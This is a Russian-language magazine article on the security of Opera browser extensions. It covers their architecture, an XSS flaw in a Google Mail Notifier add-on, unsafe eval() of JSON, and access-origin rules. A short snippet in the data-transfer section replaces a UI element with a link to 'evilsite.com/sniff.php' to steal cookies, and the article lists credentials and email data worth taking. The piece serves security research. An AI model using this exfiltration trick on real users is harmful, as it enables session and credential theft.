Через расширения браузеров можно провести немало знакомых нам атак. В этом мы убедились в прошлой статье, когда исследовали аддоны Google Chrome. Сегодня на очереди сверхпопулярный в СНГ браузер Opera. Поддержка аддонов в нем появилась недавно, но от этого задача только интереснее!

Чтобы упростить жизнь разработчиков и сделать процесс создания расширений максимально прозрачным и удобным, создатели браузеров предлагают использовать привычные для нас веб-технологии для разработки браузерных аддонов. Это дает эффект: все новые плагины появляются как грибы после дождя. Но у такой простоты есть и обратная сторона медали — возможные риски в безопасности, которые во многом нам уже знакомы в аспекте исследования обычных веб-приложений. Браузер Opera, разработчики которого непростительно долго отказывались от системы расширений, наконец-то обзавелся таким механизмом. Справедливости ради стоит отметить, что к этому моменту в Opera уже была технология виджетов (но многие ли этими виджетами пользуются?) и система пользовательских скриптов. После найденных уязвимостей в аддонах для Chrome мне было крайне интересно пощупать расширения и для Opera. Но для этого пришлось разобраться в структуре этих самых расширений.

 

Аддон изнутри

Расширения в Opera очень похожи на аналогичное решение в Google Chrome. При их создании также используются популярные веб-технологии, такие как HTML, CSS и JavaScript, а сами по себе они базируются на давно используемой при создании виджетов спецификации W3C Widgets specification. Эта архитектура достаточно подробно описана в статье Криса Милса «What’s in an Opera extension?«. Нам же для понимания материала хватит знания некоторых основных моментов о структуре аддонов. Обычно расширение в Opera состоит из следующих частей (некоторые из них опциональные):

  • фоновая страница (обычно index.html) и сопутствующие скрипты — это движок расширения;
  • страница всплывающего окна, которое появляется, когда ты кликнешь на кнопке аддона в тулбаре веб-браузера;
  • JavaScript-скрипты и CSS-стили для выполнения в соответствии с определенными правилами в произвольных, посещаемых тобой веб-страницах (например, скрипт, который заменяет все ссылки «mailto:» на соответствующий обработчик твоего любимого почтового сервиса);
  • файл конфигурации confi g.xml (подобно manifest.json в Google Chrome) — в этом файле указывается мета-информация о расширении: название и описание, информация об авторе, политики безопасности и другое;
  • страница настроек аддона — для того чтобы расширение могло сохранять пользовательские настройки.

Эти главные составляющие расширения взаимодействуют между собой посредством специального механизма сообщений:

Внедряемый скрипт <-> Фоновый процесс <-> Кнопка/Бейдж <-> Всплывающее окно

Все эти части, за исключением элемента «Кнопка/Бейдж», имеют доступ к «своему» специальному Opera Extensions API со следующими правилами:

  • Из фоновой страницы доступны объекты window.widget, opera.extension и opera.contexts — в этих рамках можно делать все что угодно, например, создавать элементы пользовательского интерфейса. Но при этом у тебя нет прямого доступа к содержанию открытой пользователем страницы.
  • Внедряемые скрипты имеют полный доступ к содержимому посещаемых пользователем страниц (чтение и модификация) и они могут общаться с другими частями расширения через упомянутый выше механизм сообщений.
  • Страницы всплывающих окон могут общаться с другими частями расширения, работать с настройками аддона и т.д.
 

XSS

При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмем для примера расширение для оповещения о новых письмах Google Mail Notifier. Удивительно, но, как и в подобном расширении для Google Chrome, тут нашлась уязвимость — небезопасное использование входных данных, которое может привести к атакам вида XSS. В нашем случае злоумышленник посылает жертве специальным образом сформированное письмо со зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо, а расширение оповестит его об этом, сработает нагрузка.

В силу используемых технологий исходный код расширения, как правило, доступен. Чуть поковырявшись, находим в исследуемом аддоне уязвимый участок кода (js/menu.js):

...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{

// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = «<div class=’tooltip’><p><u>» + lang.popup_to + » » + event.data.msg[i].sendermail + «</u><br/>» + lang.popup_from + » » + event.data.msg[i].authormail + «<br/><br/></p><p>» + event.data.msg[i].summary + «</p>»;
var msg = $(‘<div></div>’).addClass(‘message’).attr(«title», tooltip).tooltip({left: -15}).html(«<strong>» + event.data.msg[i].authorname + «</strong> : » + event.data.msg[i].title). click(
{
link: event.data.msg[i].link
}, LoadLink);
$(‘#message_box’).append(msg);

Явно видно, что при формировании списка писем соответствующие параметры письма используются безо всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) — это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация о непрочитанных электронных письмах. ИМХО, в реальном мире при аудите безопасности расширения этими сценариями не стоит ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval(), например, вот так:

var msg = eval("(" + response_text + ")");

Вместо того чтобы использовать специальное API для разбора JSON-сообщений:

var msg = JSON.parse(response_text);

В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечет более тяжкие последствия.


Ограниченная XSS в Google Mail Notifier


Обход правил доступа в расширении Google Mail Notifier для посылки полученных данных

 

Потенциальные цели

Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кукисов. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кукисов веб-браузера (как это сделано в Google Chrome), а у каждого расширения — как бы свои собственные кукисы. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:

  • собственно кукисы самого расширения, потому как в большом количестве случаев с социальными расширениями, там хранится все тот же сессионный идентификатор;
  • настройки расширения, доступные через объект widget.preferences — например, там могут быть имя пользователя и пароль, как в случае расширения для работы с популярным сервисом Reddit Envelope;
  • контекстная информация — в нашем примере с Google Notifi er — это данные (адреса, темы и другое) писем жертвы;
  • банальный «фишинг» — даже в ограниченном контексте злоумышленник может использовать рассматриваемую уязвимость для фишинг-атак (см. скрин).


Вариант эксплуатации дырки в виде фишинг-атаки

 

Как передавать данные

Обычно, для того чтобы передать данные со стороны жертвы, злоумышленник использует так называемый снифер. К примеру, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдет в силу политики безопасности, о чем недвусмысленно говорит документация:

Исходя из политики по умолчанию, агент пользователя (например, веб-браузер) должен запрещать доступ к сетевым ресурсам, внешним по отношению к виджету, независимо от того, каким образом этот доступ запрашивается — через API-функции (например, XMLHttpRequest) или через разметку документа (например, с помощью тегов iframe, script, img).

Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам, прописанные в файле конфигурации:

...
<!-- Access Policy -->
<access origin="https://mail.google.com"/>
<access origin="https://www.google.com"/>
...

Элемент <access> дает возможность авторам расширений явным образом обозначить, с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется даже просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции!

Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть два момента, которые стоит учитывать злоумышленнику в рамках XSS-атаки:

  • автор расширения может указать звездочку (*) в качестве значения «origin» для того, чтобы его расширение имело неограниченный доступ к сетевым ресурсам;
  • атрибут «subdomains» регулирует доступ для субдоменов указанного домена («привет»-блоги и прочие социальные ресурсы с пользовательскими субдоменами).

Но есть и другой трюк, который мы можем провернуть — можно сделать ссылку или другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдет на сайт злоумышленника, последний получит требуемые данные. Например, в следующем коде показано, как можно заменить произвольный элемент интерфейса, чтобы запутать пользователя и заполучить кукисы:

//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);

 

Взаимодействие расширений и безопасность

В противовес Google Chrome, Opera не позволяет расширениям явным образом взаимодействовать между собой. У меня было предположение, что внедряемые скрипты, будучи развитием популярной технологии пользовательских скриптов UserJS, все-таки могут взаимодействовать через общий документ, в который они внедряются:

Пользовательские JavaScript-скрипты выполняются в глобальном окружении — это означает, что все объявленное в скрипте будет доступно в рамках веб-страницы. Учитывая это, рекомендуется помещать основной код скрипта в тело анонимной функции для того, чтобы явным образом ограничить доступность данных скрипта в рамках веб-страницы.

Но судя по всему, разработчики Opera решили подкрутить безопасность. У меня не получилось добиться того, чтобы из одного внедренного скрипта прочитать данные (значения переменных) другого, загруженного перед ним в рамках общего DOM. Ни одна попытка не оказалась удачной. Получается, что остается только одна потенциальная возможность навредить из одного расширения другому — подпортить страницу, с которой оба аддона взаимодействуют.

 

Пользовательские скрипты в Opera

Технология пользовательских скриптов (UserJS), про которую ты наверняка уже слышал и даже применял, позволяет пользователю подключать к произвольным страницам, которые он посещает, свои JavaScript-скрипты. Эти скрипты будут исполнены веб-браузером перед загрузкой целевой страницы прямо в ее контексте (это очень важно). Пользовательские скрипты могут быть использованы для разных целей:

  • «вырезание» надоевшей рекламы на любимом ресурсе;
  • добавление произвольного HTML-кода на страницу (например, виджеты социальных сетей);
  • исправление каких-либо мест (которые доставляют неудобства) на странице;
  • для чего угодно в рамках текущего документа и возможностей JavaScript.

Для примера приведу следующий небольшой скрипт, который выделит на странице все ссылки, которые ведут на домен, отличный от текущего:

// ==UserScript==
// @include http://example.com/*
// ==/UserScript==
(function ()
{
var links = document.getElementsByTagName('a');
for(var i = 0; i<links.length; i++)
{
if (links[i].href.indexOf('http://' + document.domain) != 0)
{
links[i].innerText = '[->] ' + links[i].innerText;
}
}
})();

Обрати внимание на необязательную, но весьма полезную шапку скрипта, в которой можно указать описание сценария, а также некоторые параметры (к примеру, для каких доменов его необходимо подключать).

 

Outro

Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome. Более того, даже уязвимости в них встречаются практически идентичные.

В то же время, в силу изначально закрученных гаек в подсистеме безопасности, либо попросту из-за того, что что-то из критичной функциональности (доступ к кукисам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее эксплуатировать найденные в расширениях Opera уязвимости. Но тут не стоит забывать, что система аддонов этого браузера еще молодая и постоянно изменяется, в том числе под напором просьб разработчиков. Так что кто знает, что и как будет устроено через некоторое время.

 

Links

Оставить мнение

Check Also

На что способна ада. Делаем утилиту для детекта гипервизора на полузабытом языке

Лучше всего познавать язык на реальном проекте, поэтому, когда я решил поэкспериментироват…